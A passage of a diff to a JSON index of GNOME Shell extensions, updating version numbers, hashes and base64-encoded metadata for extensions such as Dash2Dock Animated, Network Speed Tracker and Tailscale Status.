ZCI6ICJhenRhc2tiYXJAYXp0YXNrYmFyLmdpdGxhYi5jb20iLAogICJ2ZXJzaW9uIjogMzAKfQ=="},
+    "46": {"version": "30", "sha256": "0jjb0z0zhw3w9zzas02i9x5m6irkm7qggzz6i46ly9fz8yl02wnx", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc2ltcGxlIGFwcCBpY29uIHRhc2tiYXIuIFNob3cgcnVubmluZyBhcHBzIGFuZCBmYXZvcml0ZXMgb24gdGhlIG1haW4gcGFuZWwuIiwKICAiZG9uYXRpb25zIjogewogICAgImJ1eW1lYWNvZmZlZSI6ICJhemFlY2giLAogICAgInBheXBhbCI6ICJhemFlY2giCiAgfSwKICAiZ2V0dGV4dC1kb21haW4iOiAiYXp0YXNrYmFyIiwKICAibmFtZSI6ICJBcHAgSWNvbnMgVGFza2JhciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5henRhc2tiYXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5jb20vQW5kcmV3WmFlY2gvYXp0YXNrYmFyIiwKICAidXVpZCI6ICJhenRhc2tiYXJAYXp0YXNrYmFyLmdpdGxhYi5jb20iLAogICJ2ZXJzaW9uIjogMzAKfQ=="},
+    "47": {"version": "30", "sha256": "0jjb0z0zhw3w9zzas02i9x5m6irkm7qggzz6i46ly9fz8yl02wnx", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc2ltcGxlIGFwcCBpY29uIHRhc2tiYXIuIFNob3cgcnVubmluZyBhcHBzIGFuZCBmYXZvcml0ZXMgb24gdGhlIG1haW4gcGFuZWwuIiwKICAiZG9uYXRpb25zIjogewogICAgImJ1eW1lYWNvZmZlZSI6ICJhemFlY2giLAogICAgInBheXBhbCI6ICJhemFlY2giCiAgfSwKICAiZ2V0dGV4dC1kb21haW4iOiAiYXp0YXNrYmFyIiwKICAibmFtZSI6ICJBcHAgSWNvbnMgVGFza2JhciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5henRhc2tiYXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5jb20vQW5kcmV3WmFlY2gvYXp0YXNrYmFyIiwKICAidXVpZCI6ICJhenRhc2tiYXJAYXp0YXNrYmFyLmdpdGxhYi5jb20iLAogICJ2ZXJzaW9uIjogMzAKfQ=="},
+    "48": {"version": "30", "sha256": "0jjb0z0zhw3w9zzas02i9x5m6irkm7qggzz6i46ly9fz8yl02wnx", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc2ltcGxlIGFwcCBpY29uIHRhc2tiYXIuIFNob3cgcnVubmluZyBhcHBzIGFuZCBmYXZvcml0ZXMgb24gdGhlIG1haW4gcGFuZWwuIiwKICAiZG9uYXRpb25zIjogewogICAgImJ1eW1lYWNvZmZlZSI6ICJhemFlY2giLAogICAgInBheXBhbCI6ICJhemFlY2giCiAgfSwKICAiZ2V0dGV4dC1kb21haW4iOiAiYXp0YXNrYmFyIiwKICAibmFtZSI6ICJBcHAgSWNvbnMgVGFza2JhciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5henRhc2tiYXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5jb20vQW5kcmV3WmFlY2gvYXp0YXNrYmFyIiwKICAidXVpZCI6ICJhenRhc2tiYXJAYXp0YXNrYmFyLmdpdGxhYi5jb20iLAogICJ2ZXJzaW9uIjogMzAKfQ=="}
   }}
 , {"uuid": "netSpeedMonitor@nidyran.github.io", "name": "Network Speed Tracker", "pname": "net-speed-monitor", "description": "Network Speed Tracker \nUsage instructions:\n1 - Right-click to easily switch between available network sources.\n2 - Left-click to toggle display modes.\n3 - Middle-click to adjust the refresh rate.", "link": "https://extensions.gnome.org/extension/4947/net-speed-monitor/", "shell_version_map": {
     "38": {"version": "5", "sha256": "1zvp8zx82kqbf9ck55csgcysld3z1gr3cigkl5y73s5rvqj3ks5n", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRoaXMgZXh0ZW5zaW9uIGhlbHBzIHRyYWNraW5nIGFuZCBtb25pdG9yaW5nIG5ldHdvcmsgc3BlZWQuIFxuVGhlcmUgYXJlIGZpdmUgbW9kZXM6IFxuMSAtIGRvd25sb2FkIHNwZWVkIG9ubHkuIFxuMiAtIHVwbG9hZCBzcGVlZCBvbmx5LiBcbjMgLSBkb3dubG9hZCBzcGVlZCBhbmQgdXBsb2FkIHNwZWVkIHRvZ2V0aGVyLiBcbjQgLSBkb3dubG9hZCBzcGVlZCBhbmQgdXBsb2FkIHNwZWVkIHN1bW1lZC4gXG41IC0gdG90YWwgZGF0YSB1c2FnZSBcblRvIHN3aXRjaCBiZXR3ZWVuIG1vZGVzLCB1c2UgbGVmdCBtb3VzZSBjbGljay4gXG5UbyBzd2l0Y2ggYmV0d2VlbiBhdmFpbGFibGUgc291cmNlcywgdXNlIHJpZ2h0IG1vdXNlIGNsaWNrLiBcblRvIGNoYW5nZSByZWZyZXNoIHRpbWUgMjAwIC0gMTAwMCB1c2UgbWlkZGxlIG1vdXNlIGNsaWNrLiBcblRoZSBmaXJzdCBzb3VyY2Ugd2l0aCB1c2FnZSBoaWdoZXIgdGhhbiB6ZXJvIHdpbGwgYmUgcGlja2VkIGJ5IGRlZmF1bHQuIFxuVGhlIGV4dGVuc2lvbiB3aWxsIHBpY2sgdGhlIGZpcnN0IHNvdXJjZSBieSBkZWZhdWx0LCBhbmQgaWYgbm8gdHJhZmZpYyBpcyBlc3RhYmxpc2hlZCBpdCB3aWxsIHN3aXRjaCB0byB0aGUgbmV4dCBvbmUgYW5kIHNvIG9uXG5UaGUgc291cmNlIGNvZGUgaXMgYXZhaWxhYmxlIGluIHRoZSBsaW5rIGJlbG93LCB1cGRhdGUgcmVxdWVzdHMgYXJlIHdlbGNvbWUuIiwKICAibmFtZSI6ICJuZXQgc3BlZWQgbW9uaXRvciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiMy4zNCIsCiAgICAiMy4zMiIsCiAgICAiMy4zNiIsCiAgICAiMy4zOCIsCiAgICAiNDAiLAogICAgIjQxIgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbmlkeXJhbi9uZXRTcGVlZE1vbml0b3IvIiwKICAidXVpZCI6ICJuZXRTcGVlZE1vbml0b3JAbmlkeXJhbi5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogNQp9"},
@@ -5484,10 +5496,10 @@
     "42": {"version": "68", "sha256": "0i2p5jvs9jlpy1gzc6g3zgbjjyi41v7bahzkz6lg2bw1hpv7a363", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRoZSBBbmltYXRlZCAmIEVmZmVjdGZ1bCBEb2NrIiwKICAiZG9uYXRpb25zIjogewogICAgImJ1eW1lYWNvZmZlZSI6ICJpY2VkbWFuIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImRhc2gyZG9jay1saXRlIiwKICAibmFtZSI6ICJEYXNoMkRvY2sgQW5pbWF0ZWQiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImljZWRtYW4iCiAgXSwKICAic2NoZW1hLWlkIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmRhc2gyZG9jay1saXRlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vaWNlZG1hbi9kYXNoMmRvY2stbGl0ZSIsCiAgInV1aWQiOiAiZGFzaDJkb2NrLWxpdGVAaWNlZG1hbi5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDY4Cn0="},
     "43": {"version": "68", "sha256": "0i2p5jvs9jlpy1gzc6g3zgbjjyi41v7bahzkz6lg2bw1hpv7a363", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRoZSBBbmltYXRlZCAmIEVmZmVjdGZ1bCBEb2NrIiwKICAiZG9uYXRpb25zIjogewogICAgImJ1eW1lYWNvZmZlZSI6ICJpY2VkbWFuIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImRhc2gyZG9jay1saXRlIiwKICAibmFtZSI6ICJEYXNoMkRvY2sgQW5pbWF0ZWQiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImljZWRtYW4iCiAgXSwKICAic2NoZW1hLWlkIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmRhc2gyZG9jay1saXRlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vaWNlZG1hbi9kYXNoMmRvY2stbGl0ZSIsCiAgInV1aWQiOiAiZGFzaDJkb2NrLWxpdGVAaWNlZG1hbi5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDY4Cn0="},
     "44": {"version": "68", "sha256": "0i2p5jvs9jlpy1gzc6g3zgbjjyi41v7bahzkz6lg2bw1hpv7a363", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRoZSBBbmltYXRlZCAmIEVmZmVjdGZ1bCBEb2NrIiwKICAiZG9uYXRpb25zIjogewogICAgImJ1eW1lYWNvZmZlZSI6ICJpY2VkbWFuIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImRhc2gyZG9jay1saXRlIiwKICAibmFtZSI6ICJEYXNoMkRvY2sgQW5pbWF0ZWQiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImljZWRtYW4iCiAgXSwKICAic2NoZW1hLWlkIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmRhc2gyZG9jay1saXRlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vaWNlZG1hbi9kYXNoMmRvY2stbGl0ZSIsCiAgInV1aWQiOiAiZGFzaDJkb2NrLWxpdGVAaWNlZG1hbi5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDY4Cn0="},
-    "45": {"version": "72", "sha256": "1i5p8sfvsrabd5jlanqnih88adjyqsvivsym64z0wa12xrlm8ynx", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRoZSBBbmltYXRlZCAmIEVmZmVjdGZ1bCBEb2NrIiwKICAiZG9uYXRpb25zIjogewogICAgImJ1eW1lYWNvZmZlZSI6ICJpY2VkbWFuIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImRhc2gyZG9jay1saXRlIiwKICAibmFtZSI6ICJEYXNoMkRvY2sgQW5pbWF0ZWQiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImljZWRtYW4iCiAgXSwKICAic2NoZW1hLWlkIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmRhc2gyZG9jay1saXRlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2ljZWRtYW4vZGFzaDJkb2NrLWxpdGUiLAogICJ1dWlkIjogImRhc2gyZG9jay1saXRlQGljZWRtYW4uZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA3Mgp9"},
-    "46": {"version": "72", "sha256": "1i5p8sfvsrabd5jlanqnih88adjyqsvivsym64z0wa12xrlm8ynx", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRoZSBBbmltYXRlZCAmIEVmZmVjdGZ1bCBEb2NrIiwKICAiZG9uYXRpb25zIjogewogICAgImJ1eW1lYWNvZmZlZSI6ICJpY2VkbWFuIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImRhc2gyZG9jay1saXRlIiwKICAibmFtZSI6ICJEYXNoMkRvY2sgQW5pbWF0ZWQiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImljZWRtYW4iCiAgXSwKICAic2NoZW1hLWlkIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmRhc2gyZG9jay1saXRlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2ljZWRtYW4vZGFzaDJkb2NrLWxpdGUiLAogICJ1dWlkIjogImRhc2gyZG9jay1saXRlQGljZWRtYW4uZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA3Mgp9"},
-    "47": {"version": "72", "sha256": "1i5p8sfvsrabd5jlanqnih88adjyqsvivsym64z0wa12xrlm8ynx", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRoZSBBbmltYXRlZCAmIEVmZmVjdGZ1bCBEb2NrIiwKICAiZG9uYXRpb25zIjogewogICAgImJ1eW1lYWNvZmZlZSI6ICJpY2VkbWFuIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImRhc2gyZG9jay1saXRlIiwKICAibmFtZSI6ICJEYXNoMkRvY2sgQW5pbWF0ZWQiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImljZWRtYW4iCiAgXSwKICAic2NoZW1hLWlkIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmRhc2gyZG9jay1saXRlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2ljZWRtYW4vZGFzaDJkb2NrLWxpdGUiLAogICJ1dWlkIjogImRhc2gyZG9jay1saXRlQGljZWRtYW4uZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA3Mgp9"},
-    "48": {"version": "72", "sha256": "1i5p8sfvsrabd5jlanqnih88adjyqsvivsym64z0wa12xrlm8ynx", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRoZSBBbmltYXRlZCAmIEVmZmVjdGZ1bCBEb2NrIiwKICAiZG9uYXRpb25zIjogewogICAgImJ1eW1lYWNvZmZlZSI6ICJpY2VkbWFuIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImRhc2gyZG9jay1saXRlIiwKICAibmFtZSI6ICJEYXNoMkRvY2sgQW5pbWF0ZWQiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImljZWRtYW4iCiAgXSwKICAic2NoZW1hLWlkIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmRhc2gyZG9jay1saXRlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2ljZWRtYW4vZGFzaDJkb2NrLWxpdGUiLAogICJ1dWlkIjogImRhc2gyZG9jay1saXRlQGljZWRtYW4uZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA3Mgp9"}
+    "45": {"version": "75", "sha256": "0fj8cn7538wizw2i75fllmn3b7f0b2gwnhsaxk8cwadin4mk91np", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRoZSBBbmltYXRlZCAmIEVmZmVjdGZ1bCBEb2NrIiwKICAiZG9uYXRpb25zIjogewogICAgImJ1eW1lYWNvZmZlZSI6ICJpY2VkbWFuIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImRhc2gyZG9jay1saXRlIiwKICAibmFtZSI6ICJEYXNoMkRvY2sgQW5pbWF0ZWQiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImljZWRtYW4iCiAgXSwKICAic2NoZW1hLWlkIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmRhc2gyZG9jay1saXRlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2ljZWRtYW4vZGFzaDJkb2NrLWxpdGUiLAogICJ1dWlkIjogImRhc2gyZG9jay1saXRlQGljZWRtYW4uZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA3NQp9"},
+    "46": {"version": "75", "sha256": "0fj8cn7538wizw2i75fllmn3b7f0b2gwnhsaxk8cwadin4mk91np", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRoZSBBbmltYXRlZCAmIEVmZmVjdGZ1bCBEb2NrIiwKICAiZG9uYXRpb25zIjogewogICAgImJ1eW1lYWNvZmZlZSI6ICJpY2VkbWFuIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImRhc2gyZG9jay1saXRlIiwKICAibmFtZSI6ICJEYXNoMkRvY2sgQW5pbWF0ZWQiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImljZWRtYW4iCiAgXSwKICAic2NoZW1hLWlkIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmRhc2gyZG9jay1saXRlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2ljZWRtYW4vZGFzaDJkb2NrLWxpdGUiLAogICJ1dWlkIjogImRhc2gyZG9jay1saXRlQGljZWRtYW4uZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA3NQp9"},
+    "47": {"version": "75", "sha256": "0fj8cn7538wizw2i75fllmn3b7f0b2gwnhsaxk8cwadin4mk91np", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRoZSBBbmltYXRlZCAmIEVmZmVjdGZ1bCBEb2NrIiwKICAiZG9uYXRpb25zIjogewogICAgImJ1eW1lYWNvZmZlZSI6ICJpY2VkbWFuIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImRhc2gyZG9jay1saXRlIiwKICAibmFtZSI6ICJEYXNoMkRvY2sgQW5pbWF0ZWQiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImljZWRtYW4iCiAgXSwKICAic2NoZW1hLWlkIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmRhc2gyZG9jay1saXRlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2ljZWRtYW4vZGFzaDJkb2NrLWxpdGUiLAogICJ1dWlkIjogImRhc2gyZG9jay1saXRlQGljZWRtYW4uZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA3NQp9"},
+    "48": {"version": "75", "sha256": "0fj8cn7538wizw2i75fllmn3b7f0b2gwnhsaxk8cwadin4mk91np", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRoZSBBbmltYXRlZCAmIEVmZmVjdGZ1bCBEb2NrIiwKICAiZG9uYXRpb25zIjogewogICAgImJ1eW1lYWNvZmZlZSI6ICJpY2VkbWFuIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImRhc2gyZG9jay1saXRlIiwKICAibmFtZSI6ICJEYXNoMkRvY2sgQW5pbWF0ZWQiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImljZWRtYW4iCiAgXSwKICAic2NoZW1hLWlkIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmRhc2gyZG9jay1saXRlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2ljZWRtYW4vZGFzaDJkb2NrLWxpdGUiLAogICJ1dWlkIjogImRhc2gyZG9jay1saXRlQGljZWRtYW4uZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA3NQp9"}
   }}
 , {"uuid": "animate@eexpss.gmail.com", "name": "animate", "pname": "animate", "description": "Animated small man run through the screen. Scroll mouse can change deferent character. You can use your PNG characters instead of the original ones.", "link": "https://extensions.gnome.org/extension/4995/animate/", "shell_version_map": {
     "40": {"version": "4", "sha256": "1p110wz7wdr51z2fsn6z72lcnln13h8lfbw9a00hs9qb0y71qf5q", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFuaW1hdGVkIHNtYWxsIG1hbiBydW4gdGhyb3VnaCB0aGUgc2NyZWVuLiBTY3JvbGwgbW91c2UgY2FuIGNoYW5nZSBkZWZlcmVudCBjaGFyYWN0ZXIuIFlvdSBjYW4gdXNlIHlvdXIgUE5HIGNoYXJhY3RlcnMgaW5zdGVhZCBvZiB0aGUgb3JpZ2luYWwgb25lcy4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJhbmltYXRlIiwKICAibmFtZSI6ICJhbmltYXRlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZWV4cHJlc3MvZ3MtYW5pbWF0ZSIsCiAgInV1aWQiOiAiYW5pbWF0ZUBlZXhwc3MuZ21haWwuY29tIiwKICAidmVyc2lvbiI6IDQKfQ=="},
@@ -5717,19 +5729,20 @@
     "42": {"version": "38", "sha256": "053bsaxh020lkkmnx09m4hp8l4r8zbwrwpnpq8p8f3kcgb4dcx4z", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1hbmFnZSBUYWlsc2NhbGUgY29ubmVjdGlvbnMgYW5kIGNoZWNrIHN0YXR1cyBmcm9tIGRlc2t0b3AgcmVhZCBtb3JlIGF0IGh0dHBzOi8vZ2l0aHViLmNvbS9tYXhnYWxsdXAvdGFpbHNjYWxlLXN0YXR1cy9ibG9iL21haW4vUkVBRE1FLm1kIiwKICAibmFtZSI6ICJUYWlsc2NhbGUgU3RhdHVzIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbWF4Z2FsbHVwL3RhaWxzY2FsZS1zdGF0dXMiLAogICJ1dWlkIjogInRhaWxzY2FsZS1zdGF0dXNAbWF4Z2FsbHVwLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMzgKfQ=="},
     "43": {"version": "38", "sha256": "053bsaxh020lkkmnx09m4hp8l4r8zbwrwpnpq8p8f3kcgb4dcx4z", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1hbmFnZSBUYWlsc2NhbGUgY29ubmVjdGlvbnMgYW5kIGNoZWNrIHN0YXR1cyBmcm9tIGRlc2t0b3AgcmVhZCBtb3JlIGF0IGh0dHBzOi8vZ2l0aHViLmNvbS9tYXhnYWxsdXAvdGFpbHNjYWxlLXN0YXR1cy9ibG9iL21haW4vUkVBRE1FLm1kIiwKICAibmFtZSI6ICJUYWlsc2NhbGUgU3RhdHVzIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbWF4Z2FsbHVwL3RhaWxzY2FsZS1zdGF0dXMiLAogICJ1dWlkIjogInRhaWxzY2FsZS1zdGF0dXNAbWF4Z2FsbHVwLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMzgKfQ=="},
     "44": {"version": "38", "sha256": "053bsaxh020lkkmnx09m4hp8l4r8zbwrwpnpq8p8f3kcgb4dcx4z", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1hbmFnZSBUYWlsc2NhbGUgY29ubmVjdGlvbnMgYW5kIGNoZWNrIHN0YXR1cyBmcm9tIGRlc2t0b3AgcmVhZCBtb3JlIGF0IGh0dHBzOi8vZ2l0aHViLmNvbS9tYXhnYWxsdXAvdGFpbHNjYWxlLXN0YXR1cy9ibG9iL21haW4vUkVBRE1FLm1kIiwKICAibmFtZSI6ICJUYWlsc2NhbGUgU3RhdHVzIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbWF4Z2FsbHVwL3RhaWxzY2FsZS1zdGF0dXMiLAogICJ1dWlkIjogInRhaWxzY2FsZS1zdGF0dXNAbWF4Z2FsbHVwLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMzgKfQ=="},
-    "45": {"version": "37", "sha256": "1pj6nv60va0v98h7f9adyzpa4jwyr1m9dnacnc2inpwv8s2s6af5", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1hbmFnZSBUYWlsc2NhbGUgY29ubmVjdGlvbnMgYW5kIGNoZWNrIHN0YXR1cyBmcm9tIGRlc2t0b3AgcmVhZCBtb3JlIGF0IGh0dHBzOi8vZ2l0aHViLmNvbS9tYXhnYWxsdXAvdGFpbHNjYWxlLXN0YXR1cy9ibG9iL21haW4vUkVBRE1FLm1kIiwKICAibmFtZSI6ICJUYWlsc2NhbGUgU3RhdHVzIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnRhaWxzY2FsZS1zdGF0dXMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9tYXhnYWxsdXAvdGFpbHNjYWxlLXN0YXR1cyIsCiAgInV1aWQiOiAidGFpbHNjYWxlLXN0YXR1c0BtYXhnYWxsdXAuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiAzNwp9"},
